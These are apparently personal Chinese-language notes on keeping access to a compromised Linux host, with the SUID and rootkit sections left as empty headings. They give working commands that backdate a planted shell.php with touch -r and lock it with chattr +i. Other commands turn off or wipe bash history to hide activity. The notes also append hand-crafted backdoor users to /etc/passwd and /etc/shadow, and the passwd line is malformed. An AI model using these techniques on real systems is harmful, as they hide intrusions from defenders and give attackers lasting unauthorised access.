Linux許可權維持筆記
一、修改檔案/終端的屬性
1、修改檔案建立時間
如果藍隊是按照檔案修改時間來判斷後門的話,比如現在我們上傳一個shell,可以看到shell檔案與原檔案的時間是不同的
解決方法:
touch -r teamserver shell.php
現在再來看原檔案與shell檔案的修改時間,就會看得到執行命令後的shell檔案時間與原檔案一致了:
Linux touch命令用於修改檔案或者目錄的時間屬性,包括存取時間和更改時間。若檔案不存在,系統會建立一個新的檔案。ls -l 可以顯示檔案的時間記錄。
2、檔案鎖定
在Linux中,使用chattr命令設定檔案屬性,使得root使用者和其他管理員使用者也無法修改刪除檔案,此許可權用ls -l是無法查到的,達到隱藏許可權的作用。
chattr +i shell.php #不得任意更改檔案或目錄
lsattr shell.php #雖然ls -l無法查到,但lsattr可以顯示檔案屬性
當我們執行了chattr命令後,即使是root許可權也不能刪除或者移動檔案
解除鎖定屬性:
chattr -i shell.php #解除屬性
lsattr shel.php
這時候才能作改動
3、歷史記錄
在Linux系統中,使用history命令可以檢視歷史記錄,如何能讓自己的操作不被記錄在歷史記錄中呢
解決方法1:關閉歷史記錄
[space]set +o history #[space]表示空格,加一個空格在前面,這條命令就不會被記錄
在執行了這條命令之後的所有操作都不會被記錄,知道解除關閉歷史記錄
set -o history #恢復系統環境
(測試了下,只要在命令前加一個空格,都不會被記錄到history中,這也算一種解決方法噢)
解決方法2:刪除歷史記錄
history -c #清除本次留在快取中的所有操作記錄
但其實在 ~/.bash_history檔案中記錄了所有的操作記錄,想要刪除的更徹底的話,可以直接刪除這個檔案裡的記錄
大規模刪除,只留.bash_history檔案中的前十行:
sed -i '10,$d' .bash_history
4、passwd寫入
/etc/passwd 各部分含義:
使用者名稱:密碼:使用者ID:組ID:身份描述:使用者的家目錄:使用者登入後所使用的SHELL
/etc/shadow 各部分含義:
使用者名稱:密碼的MD5加密值:自系統使用以來口令被修改的天數:口令的最小修改間隔:口令更改的週期:口令失效的天數:口令失效以後帳號會被鎖定多少天:使用者帳號到期時間:保留欄位尚未使用
栗子:
1、增加超級使用者
root@kali:~# perl -le 'print crypt("jiuguan","salt")' saZgF2xQK4016 root@kali:~# echo "jiuguan:saZgF2xQK4016:hacker:/root:/bin/bash" >> /etc/passwd
2、如果系統不允許uid=0的使用者登入,那麼可以增加一個普通使用者
root@kali:~# echo "jiuguan:saZgF2xQK4016:-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
二、SUID後門???
三、LKM Linux rootKit後門